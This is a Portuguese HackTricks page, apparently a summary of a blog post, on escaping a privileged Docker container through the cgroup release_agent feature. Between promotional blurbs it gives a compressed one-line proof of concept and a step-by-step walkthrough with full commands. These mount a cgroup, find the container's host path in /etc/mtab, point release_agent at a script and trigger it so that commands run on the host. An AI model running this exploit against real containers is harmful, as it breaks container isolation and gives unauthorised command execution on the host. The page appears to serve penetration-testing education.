Docker release_agent cgroups escape

Aprenda hacking AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!

Outras maneiras de apoiar o HackTricks:

WhiteIntel é um mecanismo de busca alimentado pela dark web que oferece funcionalidades gratuitas para verificar se uma empresa ou seus clientes foram comprometidos por malwares ladrões.

O objetivo principal do WhiteIntel é combater tomadas de conta e ataques de ransomware resultantes de malwares que roubam informações.

Você pode verificar o site deles e experimentar o mecanismo de busca deles gratuitamente em:


Para mais detalhes, consulte o postagem original do blog. Este é apenas um resumo:

PoC Original:

d=`dirname $(ls -x /s*/fs/c*/*/r* |head -n1)`
mkdir -p $d/w;echo 1 >$d/w/notify_on_release
t=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
touch /o; echo $t/c >$d/release_agent;echo "#!/bin/sh
$1 >$t/o" >/c;chmod +x /c;sh -c "echo 0 >$d/w/cgroup.procs";sleep 1;cat /o

O teste de conceito (PoC) demonstra um método para explorar cgroups criando um arquivo release_agent e acionando sua invocação para executar comandos arbitrários no host do contêiner. Aqui está uma quebra das etapas envolvidas:

  1. Preparar o Ambiente:

  • Um diretório /tmp/cgrp é criado para servir como ponto de montagem para o cgroup.

  • O controlador cgroup RDMA é montado neste diretório. Em caso de ausência do controlador RDMA, é sugerido usar o controlador cgroup memory como alternativa.

mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
  1. Configurar o Cgroup Filho:

  • Um cgroup filho chamado "x" é criado dentro do diretório cgroup montado.

  • As notificações são habilitadas para o cgroup "x" escrevendo 1 em seu arquivo notify_on_release.

echo 1 > /tmp/cgrp/x/notify_on_release
  1. Configurar o Agente de Liberação:

  • O caminho do contêiner no host é obtido a partir do arquivo /etc/mtab.

  • O arquivo release_agent do cgroup é então configurado para executar um script chamado /cmd localizado no caminho do host adquirido.

host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
echo "$host_path/cmd" > /tmp/cgrp/release_agent
  1. Criar e Configurar o Script /cmd:

  • O script /cmd é criado dentro do contêiner e é configurado para executar ps aux, redirecionando a saída para um arquivo chamado /output no contêiner. O caminho completo de /output no host é especificado.

echo '#!/bin/sh' > /cmd
echo "ps aux > $host_path/output" >> /cmd
chmod a+x /cmd
  1. Desencadear o Ataque:

  • Um processo é iniciado dentro do cgroup filho "x" e é imediatamente terminado.

  • Isso aciona o release_agent (o script /cmd), que executa ps aux no host e escreve a saída em /output dentro do contêiner.

sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"

WhiteIntel é um mecanismo de busca alimentado pela dark web que oferece funcionalidades gratuitas para verificar se uma empresa ou seus clientes foram comprometidos por malwares ladrões.

O principal objetivo do WhiteIntel é combater tomadas de conta e ataques de ransomware resultantes de malwares que roubam informações.

Você pode acessar o site deles e experimentar o mecanismo gratuitamente em:

Aprenda hacking na AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!

Outras maneiras de apoiar o HackTricks:

Last updated